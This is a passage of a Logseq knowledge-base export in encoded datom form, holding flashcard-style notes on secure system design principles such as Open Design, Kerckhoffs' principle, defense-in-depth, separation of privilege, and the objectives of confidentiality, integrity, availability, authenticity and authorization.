logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Micro-Kernelslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Flogseq____&quot;,250,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Vlogseq____&quot;,244,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[235,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-d918-48f8-881a-33b85818a8f9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Open Designlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Flogseq____&quot;,54,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[236,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b3c0-4a7d-81c3-0895df27466flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Least Common Mechanismlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Flogseq____&quot;,234,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[237,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-81dc-4800-a640-8948bf434470logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Kerckhoffslogseq____&apos; principle, i.e., security should not rely on the secrecy of mechanismslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Flogseq____&quot;,236,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Vlogseq____&quot;,236,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[238,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e547-408b-89f8-8db71b30f5e5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Minimized shared functionalitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Flogseq____&quot;,237,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Vlogseq____&quot;,237,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[239,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e320-49dd-a85b-04e67aa7f52blogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Every asset access must be check against the security policylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Flogseq____&quot;,54,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Vlogseq____&quot;,54,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[240,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1b84-4b3d-9f36-bfb6cd14ed86logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Modularity/Compartmentalization\\nid:: 67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Flogseq____&quot;,231,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[241,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Critical resources should be isolated physically or logically, e.g., *encapsulation*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Flogseq____&quot;,231,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Vlogseq____&quot;,231,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[242,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-3f8b-4f61-86a2-5ce20f4d4ff3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Defense-In-Depthlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Flogseq____&quot;,241,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[243,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-caca-4e70-b555-5fa4b05be0a9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Component Design at Different Levelslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Flogseq____&quot;,255,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Vlogseq____&quot;,241,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[244,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-02df-44c3-8425-0b73acdccaaalogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Require multiple privilege attributes for accessing restricted resourceslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Flogseq____&quot;,249,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Vlogseq____&quot;,249,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[245,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-0b2d-4f66-b7f8-9c88ec9c65f2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Do not give out more permissions than absolutely necessarylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Flogseq____&quot;,234,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Vlogseq____&quot;,234,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[246,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5d38-4c86-8293-c76b5e2e721blogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Minimum Exposurelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Flogseq____&quot;,237,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[247,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b5ec-411a-b621-75d0722ca55dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Multiple, overlapping protection mechanismslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Flogseq____&quot;,243,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Vlogseq____&quot;,243,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[248,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-da53-4112-b161-2de9b76d51c6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Separation of Privilegelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Flogseq____&quot;,236,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[249,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5b70-4de9-be57-8e745e3c8753logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Utilize OS mechanismslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Flogseq____&quot;,251,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Vlogseq____&quot;,244,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[250,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-73cc-45fc-b017-f9e9e8a2feb4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Split software into moduleslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Flogseq____&quot;,244,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Vlogseq____&quot;,244,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[251,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-42b8-4e95-9d27-05c60d331649logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;System should go into a secure state in the event of failures*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Flogseq____&quot;,228,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Vlogseq____&quot;,228,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[252,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-d605-41c1-bfd1-c2fd677b1f89logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Minimize systemlogseq____&apos;s attack surfacelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Flogseq____&quot;,247,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Vlogseq____&quot;,247,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[253,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5df3-4b5f-bf13-330ec7960c3dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Acceptance by Userslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Flogseq____&quot;,233,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[254,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-f0d2-4f4f-947b-7da20eecf20clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Modular system architecture and security mechanismslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Flogseq____&quot;,241,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Vlogseq____&quot;,241,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[255,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-a3b1-452a-a64d-1639544dfb31logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;security considerationslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^11logseq____&quot;,logseq____&quot;Security Considerationslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[257,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c6-350b-469b-b509-b17e8bce851alogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Objectives #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Flogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Vlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[258,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-84f7-4ab7-a6a8-7e7e7360f196logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Confidentiality*: No unauthorized information accesseslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Flogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Vlogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[259,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1431-4f6d-99a3-9f100f8b1d77logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Integrity*: No unauthorized data modificationslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Flogseq____&quot;,259,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Vlogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[260,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-325d-422c-a0fb-ec3275dcdb98logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Availiability*: Timely and reliable accesslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Flogseq____&quot;,260,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Vlogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[261,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9d31-4b0e-8fa5-da5fa7d2b92dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Authenticity*: Verify users are who they claim to belogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Flogseq____&quot;,261,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Vlogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[262,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1048-43e8-8ca5-657fe971c65blogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Authorization*: Limit actions authenticated users are allowed to performlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Flogseq____&quot;,262,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Xlogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Vlogseq____&quot;,258,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[263,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-d8f3-4d64-9b03-a381056ef076logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[265,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### 